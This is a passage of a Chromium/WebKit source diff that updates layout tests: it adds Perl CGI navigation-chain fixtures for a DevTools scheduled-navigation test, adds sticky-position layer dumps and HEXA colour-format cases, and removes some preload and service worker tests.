--- a/third_party/WebKit/LayoutTests/inspector-protocol/page/frameScheduledNavigation.js
+++ b/third_party/WebKit/LayoutTests/http/tests/inspector-protocol/page/frameScheduledNavigation.js
@@ -8,10 +8,11 @@
     frame.src = '${testRunner.url('resources/navigation-chain1.html')}';
   `);
 
-  for (var i = 0; i < 3; i++) {
+  for (var i = 0; i < 5; i++) {
     var msg = await dp.Page.onceFrameScheduledNavigation();
     testRunner.log('Scheduled navigation with delay ' + msg.params.delay +
-                   ' and reason ' + msg.params.reason);
+                   ' and reason ' + msg.params.reason + ' to url ' +
+                   msg.params.url.split('/').pop());
     await dp.Page.onceFrameStartedLoading();
     // This event should be received before the scheduled navigation is cleared.
     testRunner.log('Started loading');
diff --git a/third_party/WebKit/LayoutTests/inspector-protocol/page/resources/navigation-chain1.html b/third_party/WebKit/LayoutTests/http/tests/inspector-protocol/page/resources/navigation-chain1.html
similarity index 93%
rename from third_party/WebKit/LayoutTests/inspector-protocol/page/resources/navigation-chain1.html
rename to third_party/WebKit/LayoutTests/http/tests/inspector-protocol/page/resources/navigation-chain1.html
index c5cb17b..52ad978 100644
--- a/third_party/WebKit/LayoutTests/inspector-protocol/page/resources/navigation-chain1.html
+++ b/third_party/WebKit/LayoutTests/http/tests/inspector-protocol/page/resources/navigation-chain1.html
@@ -1,7 +1,7 @@
 <html>
   <head>
     <title>Hello World 1</title>
-    <meta http-equiv="refresh" content="0; url=./navigation-chain2.html"/>
+    <meta http-equiv="refresh" content="0; url=./navigation-chain2.pl"/>
   </head>
   <body>HELLO WORLD 1</body>
 </html>
diff --git a/third_party/WebKit/LayoutTests/http/tests/inspector-protocol/page/resources/navigation-chain2.pl b/third_party/WebKit/LayoutTests/http/tests/inspector-protocol/page/resources/navigation-chain2.pl
new file mode 100755
index 0000000..a991e52f
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/http/tests/inspector-protocol/page/resources/navigation-chain2.pl
@@ -0,0 +1,4 @@
+#!/usr/bin/perl
+
+print "Refresh: 0; url=./navigation-chain3.pl\r\n";
+print "Content-type: text/html\r\n\r\n";
diff --git a/third_party/WebKit/LayoutTests/http/tests/inspector-protocol/page/resources/navigation-chain3.pl b/third_party/WebKit/LayoutTests/http/tests/inspector-protocol/page/resources/navigation-chain3.pl
new file mode 100755
index 0000000..35e6477
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/http/tests/inspector-protocol/page/resources/navigation-chain3.pl
@@ -0,0 +1,19 @@
+#!/usr/bin/perl
+use CGI;
+
+my $query = new CGI;
+
+if ($query->param("x") || 0) {
+  print "Content-type: text/html\r\n\r\n";
+  print "<html><head><title>Hello World 2b</title></head>\n";
+  print "<script>window.location.reload();</script>\n";
+  print "</body></html>\n";
+} else {
+  print "Content-type: text/html\r\n\r\n";
+  print "<html><head><title>Hello World 2a</title></head>\n";
+  print "<body onload='formElem.submit()'>\n";
+  print "<form method='get' action='' name='formElem'>";
+  print "<input type='hidden' name='x' value='y'>";
+  print "</form></body></html>\n";
+}
+
diff --git a/third_party/WebKit/LayoutTests/http/tests/inspector/inspector-test.js b/third_party/WebKit/LayoutTests/http/tests/inspector/inspector-test.js
index df56d36..c5f5044 100644
--- a/third_party/WebKit/LayoutTests/http/tests/inspector/inspector-test.js
+++ b/third_party/WebKit/LayoutTests/http/tests/inspector/inspector-test.js
@@ -150,6 +150,13 @@
     return "<" + typeof value + ">";
 }
 
+InspectorTest.formatters.formatAsTypeNameOrNull = function(value)
+{
+    if (value === null)
+      return "null";
+    return InspectorTest.formatters.formatAsTypeName(value);
+}
+
 InspectorTest.formatters.formatAsRecentTime = function(value)
 {
     if (typeof value !== "object" || !(value instanceof Date))
diff --git a/third_party/WebKit/LayoutTests/http/tests/inspector/layers-test.js b/third_party/WebKit/LayoutTests/http/tests/inspector/layers-test.js
index 8327b786..16ad6ad7 100644
--- a/third_party/WebKit/LayoutTests/http/tests/inspector/layers-test.js
+++ b/third_party/WebKit/LayoutTests/http/tests/inspector/layers-test.js
@@ -102,6 +102,24 @@
         InspectorTest.layerTreeModel().layerTree().forEachLayer(dumpScrollRectsForLayer.bind(this));
     }
 
+    InspectorTest.dumpModelStickyPositionConstraint = function()
+    {
+        function dumpModelStickyPositionConstraintForLayer(layer)
+        {
+          // To avoid infinite recursion between SDK.Layer.StickyPositionConstraint
+          // and SDK.Layer, define a custom formatter for the SDK.Layer members.
+          var stickyFormatters = {
+            "_nearestLayerShiftingContainingBlock": "formatAsTypeNameOrNull",
+            "_nearestLayerShiftingStickyBox": "formatAsTypeNameOrNull"
+          };
+          if (layer._stickyPositionConstraint)
+            InspectorTest.addObject(layer._stickyPositionConstraint, stickyFormatters);
+        }
+
+        InspectorTest.addResult("Model elements dump");
+        InspectorTest.layerTreeModel().layerTree().forEachLayer(dumpModelStickyPositionConstraintForLayer.bind(this));
+    }
+
     InspectorTest.dispatchMouseEvent = function(eventType, button, element, offsetX, offsetY)
     {
         var totalOffset = element.totalOffset();
diff --git a/third_party/WebKit/LayoutTests/http/tests/preload/document-write/document_write_no_preload.html b/third_party/WebKit/LayoutTests/http/tests/preload/document-write/document_write_no_preload.html
deleted file mode 100644
index 048424b..0000000
--- a/third_party/WebKit/LayoutTests/http/tests/preload/document-write/document_write_no_preload.html
+++ /dev/null
@@ -1,73 +0,0 @@
-<!DOCTYPE html>
-<script src="../../resources/testharness.js"></script>
-<script src="../../resources/testharnessreport.js"></script>
-
-<script>
-  var t = async_test('Do not preload for document.write for long scripts or scripts that contain non-determinism');
-  // We reject scripts with "for", so rename window.performance.
-  window.perf = window.performance;
-</script>
-
-<script>
-  // This script is too long for preloading.
-  // XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-  // XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-  // XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-  // XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-  // XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-  // XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-  // XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-  // XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-  // XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-  // XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-  // XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-  // XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-  // XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-  // XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-  if (window.perf)
-    var boundedStart1 = window.perf.now();
-  var src = '../../resources/dummy.js';
-  document.write('<scr' + 'ipt src="' + src + '"></scr' + 'ipt>');
-</script>
-
-<script>
-  // This script has non-determinism.
-  if (window.perf)
-    var boundedStart2 = window.perf.now();
-  var src = '../../loading/resources/empty.js';
-  if (Math.random() < .9) {
-    src = src + "?query=randomly_added_query";
-  }
-  document.write('<scr' + 'ipt src="' + src + '"></scr' + 'ipt>');
-</script>
-
-<script>
-  // This script has non-determinism.
-  if (window.perf)
-    var boundedStart3 = window.perf.now();
-  var src = '../../loading/resources/zero-length.js?date=' + Date.now();
-  document.write('<scr' + 'ipt src="' + src + '"></scr' + 'ipt>');
-</script>
-
-<script>
-  window.addEventListener("load", t.step_func(function() {
-    assert_greater_than_equal(window.performance.getEntriesByType('resource').length, 4);
-    var count = 0;
-    window.performance.getEntriesByType('resource').forEach(function(r) {
-      assert_greater_than(r.startTime, 0);
-      if (r.name.indexOf('dummy.js') != -1) {
-        assert_greater_than(r.startTime, boundedStart1);
-        count++;
-      } else if (r.name.indexOf('empty.js') != -1) {
-        assert_greater_than(r.startTime, boundedStart2);
-        count++;
-      } else if (r.name.indexOf('zero-length.js') != -1) {
-        assert_greater_than(r.startTime, boundedStart3);
-        count++;
-      }
-    });
-    assert_equals(count, 3);
-    t.done();
-  }));
-</script>
-
diff --git a/third_party/WebKit/LayoutTests/http/tests/preload/document-write/document_write_preload.html b/third_party/WebKit/LayoutTests/http/tests/preload/document-write/document_write_preload.html
deleted file mode 100644
index 205efee..0000000
--- a/third_party/WebKit/LayoutTests/http/tests/preload/document-write/document_write_preload.html
+++ /dev/null
@@ -1,29 +0,0 @@
-<!DOCTYPE html>
-<script src="../../resources/testharness.js"></script>
-<script src="../../resources/testharnessreport.js"></script>
-
-<script>
-  var t = async_test('Simple scripts that inject external scripts via document.write should be preloaded');
-  // We reject scripts with "for", so rename window.performance.
-  window.perf = window.performance;
-</script>
-
-<script>
-  if (window.perf)
-    var boundedStart = window.perf.now();
-  var src = '../../resources/dummy.js';
-  document.write('<scr' + 'ipt src="' + src + '"></scr' + 'ipt>');
-</script>
-
-<script>
-  window.addEventListener("load", t.step_func(function() {
-    window.performance.getEntriesByType('resource').forEach(function(r) {
-      if (r.name.indexOf('dummy.js') != -1) {
-        assert_less_than(r.startTime, boundedStart);
-        assert_greater_than(r.startTime, 0);
-        t.done();
-      }
-    });
-  }));
-</script>
-
diff --git a/third_party/WebKit/LayoutTests/http/tests/preload/document-write/document_write_preload_stubs.html b/third_party/WebKit/LayoutTests/http/tests/preload/document-write/document_write_preload_stubs.html
deleted file mode 100644
index 9d9bdbb..0000000
--- a/third_party/WebKit/LayoutTests/http/tests/preload/document-write/document_write_preload_stubs.html
+++ /dev/null
@@ -1,29 +0,0 @@
-<!DOCTYPE html>
-<script src="../../resources/testharness.js"></script>
-<script src="../../resources/testharnessreport.js"></script>
-
-<script>
-  var t = async_test('Accessors like location should be properly stubbed to aid in preloading scripts injected via document.write');
-  // We reject scripts with "for", so rename window.performance.
-  window.perf = window.performance;
-</script>
-
-<script>
-  if (window.perf)
-    var boundedStart = window.perf.now();
-  var src = window.location.protocol + '//' + window.location.hostname + ':8000' + '/resources/dummy.js';
-  document.write('<scr' + 'ipt src="' + src + '"></scr' + 'ipt>');
-</script>
-
-<script>
-  window.addEventListener("load", t.step_func(function() {
-    window.performance.getEntriesByType('resource').forEach(function(r) {
-      if (r.name.indexOf('dummy.js') != -1) {
-        assert_less_than(r.startTime, boundedStart);
-        assert_greater_than(r.startTime, 0);
-        t.done();
-      }
-    });
-  }));
-</script>
-
diff --git a/third_party/WebKit/LayoutTests/http/tests/webmidi/resources/feature-policy-permissions-test.js b/third_party/WebKit/LayoutTests/http/tests/resources/feature-policy-permissions-test.js
similarity index 85%
rename from third_party/WebKit/LayoutTests/http/tests/webmidi/resources/feature-policy-permissions-test.js
rename to third_party/WebKit/LayoutTests/http/tests/resources/feature-policy-permissions-test.js
index fba857a3..a400d7b 100644
--- a/third_party/WebKit/LayoutTests/http/tests/webmidi/resources/feature-policy-permissions-test.js
+++ b/third_party/WebKit/LayoutTests/http/tests/resources/feature-policy-permissions-test.js
@@ -31,8 +31,14 @@
   // post the result of running the feature promise back to the parent.
   if (location.hash == '#iframe') {
     feature_promise_factory().then(
-        () => window.parent.postMessage('#OK', '*'),
-        error => window.parent.postMessage('#' + error.name, '*'));
+        () => window.parent.postMessage('#OK', '*'), error => {
+          var name = error.name;
+          // TODO(raymes): We use error.toString() here instead of error.name
+          // because the latter currently returns undefined for PositionError.
+          if (!name)
+            name = error.toString().split(' ')[1].split(']')[0];
+          window.parent.postMessage('#' + name, '*');
+        });
     return;
   }
 
@@ -75,4 +81,4 @@
       },
       'Feature policy "' + feature_name +
           '" can be enabled in cross-origin iframes using "allow" attribute.');
-}
\ No newline at end of file
+}
diff --git a/third_party/WebKit/LayoutTests/http/tests/serviceworker/chromium.register-wait-forever-in-install-worker.html b/third_party/WebKit/LayoutTests/http/tests/serviceworker/chromium.register-wait-forever-in-install-worker.html
deleted file mode 100644
index 46b0bf3..0000000
--- a/third_party/WebKit/LayoutTests/http/tests/serviceworker/chromium.register-wait-forever-in-install-worker.html
+++ /dev/null
@@ -1,33 +0,0 @@
-<!DOCTYPE html>
-<!-- This test is prefixed with `chromium.` because it is maintained only to
-  preserve test coverage until such time as the more rigorous version available
-  in the Web Platform Tests project can be made to pass. See
-  https://crbug.com/723037 -->
-<title>Service Worker: Register wait-forever-in-install-worker</title>
-<script src="../resources/testharness.js"></script>
-<script src="../resources/testharnessreport.js"></script>
-<script src="resources/test-helpers.js"></script>
-<script>
-
-promise_test(function(t) {
-    var bad_script = 'resources/wait-forever-in-install-worker.js';
-    var good_script = 'resources/empty-worker.js';
-    var scope = 'resources/wait-forever-in-install-worker';
-    return navigator.serviceWorker.register(bad_script, {scope: scope})
-      .then(function(registration) {
-          assert_equals(registration.installing.scriptURL,
-                        normalizeURL(bad_script));
-          return navigator.serviceWorker.register(good_script, {scope: scope});
-        })
-      .then(function(registration) {
-          assert_equals(registration.installing.scriptURL,
-                        normalizeURL(good_script));
-          return wait_for_state(t, registration.installing, 'activated');
-        })
-      .then(function() {
-          return service_worker_unregister_and_done(t, scope);
-        })
-  }, 'register worker that calls waitUntil with a promise that never ' +
-     'resolves in oninstall');
-
-</script>
diff --git a/third_party/WebKit/LayoutTests/http/tests/webmidi/midi-default-feature-policy.https.sub.html b/third_party/WebKit/LayoutTests/http/tests/webmidi/midi-default-feature-policy.https.sub.html
index 8994bad4..4bd8a55 100644
--- a/third_party/WebKit/LayoutTests/http/tests/webmidi/midi-default-feature-policy.https.sub.html
+++ b/third_party/WebKit/LayoutTests/http/tests/webmidi/midi-default-feature-policy.https.sub.html
@@ -2,7 +2,7 @@
 <body>
 <script src=/resources/testharness.js></script>
 <script src=/resources/testharnessreport.js></script>
-<script src=resources/feature-policy-permissions-test.js></script>
+<script src=../resources/feature-policy-permissions-test.js></script>
 <script>
 'use strict';
 
diff --git a/third_party/WebKit/LayoutTests/inspector-protocol/layers/get-layers-expected.txt b/third_party/WebKit/LayoutTests/inspector-protocol/layers/get-layers-expected.txt
index fb32d80..d57ff4ec 100644
--- a/third_party/WebKit/LayoutTests/inspector-protocol/layers/get-layers-expected.txt
+++ b/third_party/WebKit/LayoutTests/inspector-protocol/layers/get-layers-expected.txt
@@ -55,6 +55,79 @@
         "height": 50,
         "paintCount": "number",
         "drawsContent": true
+    },
+    {
+        "layerId": "string",
+        "parentLayerId": "string",
+        "backendNodeId": "number",
+        "offsetX": 400,
+        "offsetY": 0,
+        "width": 100,
+        "height": 100,
+        "paintCount": "number",
+        "drawsContent": true
+    },
+    {
+        "layerId": "string",
+        "parentLayerId": "string",
+        "backendNodeId": "number",
+        "offsetX": 0,
+        "offsetY": 0,
+        "width": 100,
+        "height": 50,
+        "paintCount": "number",
+        "drawsContent": true,
+        "stickyPositionConstraint": {
+            "stickyBoxRect": {
+                "x": 0,
+                "y": 0,
+                "width": 100,
+                "height": 50
+            },
+            "containingBlockRect": {
+                "x": 0,
+                "y": 0,
+                "width": 100,
+                "height": 200
+            }
+        }
+    },
+    {
+        "layerId": "string",
+        "parentLayerId": "string",
+        "backendNodeId": "number",
+        "offsetX": 0,
+        "offsetY": 0,
+        "width": 100,
+        "height": 25,
+        "paintCount": "number",
+        "drawsContent": true,
+        "stickyPositionConstraint": {
+            "stickyBoxRect": {
+                "x": 0,
+                "y": 0,
+                "width": 100,
+                "height": 25
+            },
+            "containingBlockRect": {
+                "x": 0,
+                "y": 0,
+                "width": 100,
+                "height": 50
+            },
+            "nearestLayerShiftingContainingBlock": "string"
+        }
+    },
+    {
+        "layerId": "string",
+        "parentLayerId": "string",
+        "backendNodeId": "number",
+        "offsetX": 0,
+        "offsetY": 0,
+        "width": 100,
+        "height": 200,
+        "paintCount": "number",
+        "drawsContent": false
     }
 ]
 
@@ -118,6 +191,79 @@
         "layerId": "string",
         "parentLayerId": "string",
         "backendNodeId": "number",
+        "offsetX": 400,
+        "offsetY": 0,
+        "width": 100,
+        "height": 100,
+        "paintCount": "number",
+        "drawsContent": true
+    },
+    {
+        "layerId": "string",
+        "parentLayerId": "string",
+        "backendNodeId": "number",
+        "offsetX": 0,
+        "offsetY": 0,
+        "width": 100,
+        "height": 50,
+        "paintCount": "number",
+        "drawsContent": true,
+        "stickyPositionConstraint": {
+            "stickyBoxRect": {
+                "x": 0,
+                "y": 0,
+                "width": 100,
+                "height": 50
+            },
+            "containingBlockRect": {
+                "x": 0,
+                "y": 0,
+                "width": 100,
+                "height": 200
+            }
+        }
+    },
+    {
+        "layerId": "string",
+        "parentLayerId": "string",
+        "backendNodeId": "number",
+        "offsetX": 0,
+        "offsetY": 0,
+        "width": 100,
+        "height": 25,
+        "paintCount": "number",
+        "drawsContent": true,
+        "stickyPositionConstraint": {
+            "stickyBoxRect": {
+                "x": 0,
+                "y": 0,
+                "width": 100,
+                "height": 25
+            },
+            "containingBlockRect": {
+                "x": 0,
+                "y": 0,
+                "width": 100,
+                "height": 50
+            },
+            "nearestLayerShiftingContainingBlock": "string"
+        }
+    },
+    {
+        "layerId": "string",
+        "parentLayerId": "string",
+        "backendNodeId": "number",
+        "offsetX": 0,
+        "offsetY": 0,
+        "width": 100,
+        "height": 200,
+        "paintCount": "number",
+        "drawsContent": false
+    },
+    {
+        "layerId": "string",
+        "parentLayerId": "string",
+        "backendNodeId": "number",
         "offsetX": 25,
         "offsetY": 25,
         "width": 50,
diff --git a/third_party/WebKit/LayoutTests/inspector-protocol/layers/get-layers.js b/third_party/WebKit/LayoutTests/inspector-protocol/layers/get-layers.js
index 807675b..7d3cc77 100644
--- a/third_party/WebKit/LayoutTests/inspector-protocol/layers/get-layers.js
+++ b/third_party/WebKit/LayoutTests/inspector-protocol/layers/get-layers.js
@@ -19,11 +19,11 @@
 
   function dumpLayers(layers) {
     function replacer(key, value) {
-      if (['layerId', 'parentLayerId', 'backendNodeId', 'paintCount'].indexOf(key) >= 0)
+      if (['layerId', 'parentLayerId', 'backendNodeId', 'paintCount', 'nearestLayerShiftingContainingBlock'].indexOf(key) >= 0)
         return typeof(value);
       // some values differ based on port, but the ones we most
-      // care about will always be less or equal 100.
-      if ((key === 'width' || key === 'height') && value > 100)
+      // care about will always be less or equal 200.
+      if ((key === 'width' || key === 'height') && value > 200)
         return typeof(value);
       return value;
     }
diff --git a/third_party/WebKit/LayoutTests/inspector-protocol/page/frameScheduledNavigation-expected.txt b/third_party/WebKit/LayoutTests/inspector-protocol/page/frameScheduledNavigation-expected.txt
deleted file mode 100644
index fde1c53..0000000
--- a/third_party/WebKit/LayoutTests/inspector-protocol/page/frameScheduledNavigation-expected.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-Tests frameScheduledNavigation events when navigation is initiated in JS followed by other navigations.
-Scheduled navigation with delay 0 and reason scriptInitiated
-Started loading
-Cleared scheduled navigation
-Scheduled navigation with delay 0 and reason metaTagRefresh
-Started loading
-Cleared scheduled navigation
-Scheduled navigation with delay 0 and reason formSubmission
-Started loading
-Cleared scheduled navigation
-
diff --git a/third_party/WebKit/LayoutTests/inspector-protocol/page/resources/navigation-chain2.html b/third_party/WebKit/LayoutTests/inspector-protocol/page/resources/navigation-chain2.html
deleted file mode 100644
index a5518ae..0000000
--- a/third_party/WebKit/LayoutTests/inspector-protocol/page/resources/navigation-chain2.html
+++ /dev/null
@@ -1,10 +0,0 @@
-<html>
-  <head>
-    <title>Hello World 2</title>
-  </head>
-  <body onload='formElem.submit()'>
-    <form method='get' action='' name='formElem'>
-    <input type='hidden' name='x' value='y'>
-    </form>
-  </body>
-</html>
diff --git a/third_party/WebKit/LayoutTests/inspector-protocol/resources/get-layers.html b/third_party/WebKit/LayoutTests/inspector-protocol/resources/get-layers.html
index 5424867..d037f38 100644
--- a/third_party/WebKit/LayoutTests/inspector-protocol/resources/get-layers.html
+++ b/third_party/WebKit/LayoutTests/inspector-protocol/resources/get-layers.html
@@ -3,7 +3,7 @@
 <script>
 function addCompositedLayer() {
   var element = document.createElement("div");
-  element.className = "composited";
+  element.className = "composited small-box";
   element.id = "last-element";
   document.body.appendChild(element);
 }
@@ -15,18 +15,21 @@
   left: 0;
 }
 
-.regular {
+.large-box {
   width: 100px;
   height: 100px;
   background-color: black;
 }
 
-.composited {
+.small-box {
   top: 25px;
   left: 25px;
   width: 50px;
   height: 50px;
   background-color: blue;
+}
+
+.composited {
   transform: translateZ(0);
 }
 
@@ -34,18 +37,54 @@
   left: 200px;
   transform: translateZ(0);
 }
+
+.scroller {
+  left: 400px;
+  height: 100px;
+  width: 100px;
+  overflow-y: scroll;
+  overflow-x: hidden;
+}
+
+.outer-sticky {
+  position: sticky;
+  top: 10px;
+  width: 100px;
+  height: 50px;
+  background-color: black;
+}
+
+.inner-sticky {
+  position: sticky;
+  top: 15px;
+  width: 100px;
+  height: 25px;
+  background-color: blue;
+}
+
+.padding {
+  width: 100px;
+  height: 200px;
+}
 </style>
 </head>
 <body>
 
-<div class="regular"></div>
+<div class="large-box"></div>
 
-<div class="composited">
-  <div class="composited"></div>
+<div class="composited small-box">
+  <div class="composited small-box"></div>
 </div>
 
-<div class="regular offset">
-  <div class="composited"></div>
+<div class="offset large-box">
+  <div class="composited small-box"></div>
+</div>
+
+<div class="composited scroller">
+  <div class="composited outer-sticky">
+    <div class="composited inner-sticky"></div>
+  </div>
+  <div class="padding"></div>
 </div>
 
 </body>
diff --git a/third_party/WebKit/LayoutTests/inspector/components/color-expected.txt b/third_party/WebKit/LayoutTests/inspector/components/color-expected.txt
index 2b37d8a..0781414 100644
--- a/third_party/WebKit/LayoutTests/inspector/components/color-expected.txt
+++ b/third_party/WebKit/LayoutTests/inspector/components/color-expected.txt
@@ -7,7 +7,9 @@
  - hsla(0, 100%, 50%, 1)
  - hsv(0, 100%, 100%)
  - hsva(0, 100%, 100%, 1)
+ - #ff0000ff
  - #ff0000
+ - #f00f
  - #f00
  - red
  - default: red
@@ -20,8 +22,10 @@
  - hsla(120, 100%, 25%, 1)
  - hsv(120, 100%, 50%)
  - hsva(120, 100%, 50%, 1)
+ - #008000ff
  - #008000
  - null
+ - null
  - green
  - default: green
  - inverse color: rgba(255, 127, 255, 1)
@@ -33,7 +37,9 @@
  - hsla(240, 100%, 50%, 1)
  - hsv(240, 100%, 100%)
  - hsva(240, 100%, 100%, 1)
+ - #0000ffff
  - #0000ff
+ - #00ff
  - #00f
  - blue
  - default: blue
@@ -46,7 +52,9 @@
  - hsla(180, 100%, 50%, 1)
  - hsv(180, 100%, 100%)
  - hsva(180, 100%, 100%, 1)
+ - #00ffffff
  - #00ffff
+ - #0fff
  - #0ff
  - cyan
  - default: cyan
@@ -59,7 +67,9 @@
  - hsla(300, 100%, 50%, 1)
  - hsv(300, 100%, 100%)
  - hsva(300, 100%, 100%, 1)
+ - #ff00ffff
  - #ff00ff
+ - #f0ff
  - #f0f
  - magenta
  - default: magenta
@@ -72,7 +82,9 @@
  - hsla(60, 100%, 50%, 1)
  - hsv(60, 100%, 100%)
  - hsva(60, 100%, 100%, 1)
+ - #ffff00ff
  - #ffff00
+ - #ff0f
  - #ff0
  - yellow
  - default: yellow
@@ -85,7 +97,9 @@
  - hsla(0, 0%, 100%, 1)
  - hsv(0, 0%, 100%)
  - hsva(0, 0%, 100%, 1)
+ - #ffffffff
  - #ffffff
+ - #ffff
  - #fff
  - white
  - default: white
@@ -98,7 +112,9 @@
  - hsla(0, 0%, 0%, 1)
  - hsv(0, 0%, 0%)
  - hsva(0, 0%, 0%, 1)
+ - #000000ff
  - #000000
+ - #000f
  - #000
  - black
  - default: black
@@ -111,9 +127,11 @@
  - hsla(115, 16%, 43%, 1)
  - hsv(115, 28%, 49%)
  - hsva(115, 28%, 49%, 1)
+ - #5e7e5bff
  - #5e7e5b
  - null
  - null
+ - null
  - default: rgb(94, 126, 91)
  - inverse color: rgba(161, 129, 164, 1)
  - setAlpha(0.42): rgba(94, 126, 91, 0.42)
@@ -124,6 +142,8 @@
  - hsla(115, 16%, 43%, 0.5)
  - hsv(115, 28%, 49%)
  - hsva(115, 28%, 49%, 0.5)
+ - #5e7e5b80
+ - null
  - null
  - null
  - null
@@ -137,9 +157,11 @@
  - hsla(212, 55%, 32%, 1)
  - hsv(212, 71%, 50%)
  - hsva(212, 71%, 50%, 1)
+ - #254f7eff
  - #254f7e
  - null
  - null
+ - null
  - default: hsl(212, 55%, 32%)
  - inverse color: rgba(218, 176, 129, 1)
  - setAlpha(0.42): rgba(37, 79, 126, 0.42)
@@ -150,12 +172,29 @@
  - hsla(212, 55%, 32%, 0.5)
  - hsv(212, 71%, 50%)
  - hsva(212, 71%, 50%, 0.5)
+ - #254f7e80
+ - null
  - null
  - null
  - null
  - default: hsla(212, 55%, 32%, 0.5)
  - inverse color: rgba(218, 176, 129, 0.5)
  - setAlpha(0.42): rgba(37, 79, 126, 0.42)
+Dumping '#12345678' in different formats:
+ - null
+ - rgba(18, 52, 86, 0.47058823529411764)
+ - null
+ - hsla(210, 65%, 20%, 0.47058823529411764)
+ - hsv(210, 79%, 34%)
+ - hsva(210, 79%, 34%, 0.47058823529411764)
+ - #12345678
+ - null
+ - null
+ - null
+ - null
+ - default: #12345678
+ - inverse color: rgba(237, 203, 169, 0.47058823529411764)
+ - setAlpha(0.42): rgba(18, 52, 86, 0.42)
 Dumping '#00FFFF' in different formats:
  - rgb(0, 255, 255)
  - rgba(0, 255, 255, 1)
@@ -163,12 +202,29 @@
  - hsla(180, 100%, 50%, 1)
  - hsv(180, 100%, 100%)
  - hsva(180, 100%, 100%, 1)
+ - #00ffffff
  - #00FFFF
+ - #0fff
  - #0ff
  - cyan
  - default: #00ffff
  - inverse color: rgba(255, 0, 0, 1)
  - setAlpha(0.42): rgba(0, 255, 255, 0.42)
+Dumping '#1234' in different formats:
+ - null
+ - rgba(17, 34, 51, 0.26666666666666666)
+ - null
+ - hsla(210, 50%, 13%, 0.26666666666666666)
+ - hsv(210, 67%, 20%)
+ - hsva(210, 67%, 20%, 0.26666666666666666)
+ - #11223344
+ - null
+ - #1234
+ - null
+ - null
+ - default: #1234
+ - inverse color: rgba(238, 221, 204, 0.26666666666666666)
+ - setAlpha(0.42): rgba(17, 34, 51, 0.42)
 Dumping '#0FF' in different formats:
  - rgb(0, 255, 255)
  - rgba(0, 255, 255, 1)
@@ -176,7 +232,9 @@
  - hsla(180, 100%, 50%, 1)
  - hsv(180, 100%, 100%)
  - hsva(180, 100%, 100%, 1)
+ - #00ffffff
  - #00ffff
+ - #0fff
  - #0FF
  - cyan
  - default: #0ff
diff --git a/third_party/WebKit/LayoutTests/inspector/components/color.html b/third_party/WebKit/LayoutTests/inspector/components/color.html
index ca3196d..9485b40c 100644
--- a/third_party/WebKit/LayoutTests/inspector/components/color.html
+++ b/third_party/WebKit/LayoutTests/inspector/components/color.html
@@ -21,7 +21,9 @@
         var hsvaString = String.sprintf("hsva(%d, %d%, %d%, %f)", Math.round(hsva[0] * 360), Math.round(hsva[1] * 100), Math.round(hsva[2] * 100), hsva[3]);
         InspectorTest.addResult(" - " + hsvaString);
 
+        InspectorTest.addResult(" - " + color.asString(Common.Color.Format.HEXA));
         InspectorTest.addResult(" - " + color.asString(Common.Color.Format.HEX));
+        InspectorTest.addResult(" - " + color.asString(Common.Color.Format.ShortHEXA));
         InspectorTest.addResult(" - " + color.asString(Common.Color.Format.ShortHEX));
         InspectorTest.addResult(" - " + color.asString(Common.Color.Format.Nickname));
         InspectorTest.addResult(" - default: " + color.asString());
@@ -45,7 +47,9 @@
     dumpColor("hsl(212, 55%, 32%)");
     dumpColor("hsla(212, 55%, 32%, 0.5)");
 
+    dumpColor("#12345678");
     dumpColor("#00FFFF");
+    dumpColor("#1234");
     dumpColor("#0FF");
     InspectorTest.completeTest();
 }
diff --git a/third_party/WebKit/LayoutTests/inspector/elements/elements-panel-styles-expected.txt b/third_party/WebKit/LayoutTests/inspector/elements/elements-panel-styles-expected.txt
index b992643..ece92d68 100644
--- a/third_party/WebKit/LayoutTests/inspector/elements/elements-panel-styles-expected.txt
+++ b/third_party/WebKit/LayoutTests/inspector/elements/elements-panel-styles-expected.txt
@@ -28,7 +28,7 @@
 font-style: italic;
     italic !important - #container .foo elements-panel-styles.css:17 -> elements-panel-styles.css:17:18
     OVERLOADED normal !important - .foo elements-panel-styles.css:21 -> elements-panel-styles.css:21:7
-font-weight: 400;
+font-weight: normal;
     normal !important - .foo elements-panel-styles.css:21 -> elements-panel-styles.css:21:7
 margin-bottom: 2px;
     2px - .foo elements-panel-styles.css:21 -> elements-panel-styles.css:21:7
diff --git a/third_party/WebKit/LayoutTests/inspector/elements/styles-3/spectrum-expected.txt b/third_party/WebKit/LayoutTests/inspector/elements/styles-3/spectrum-expected.txt
index dbbb52e..c5dd09a 100644
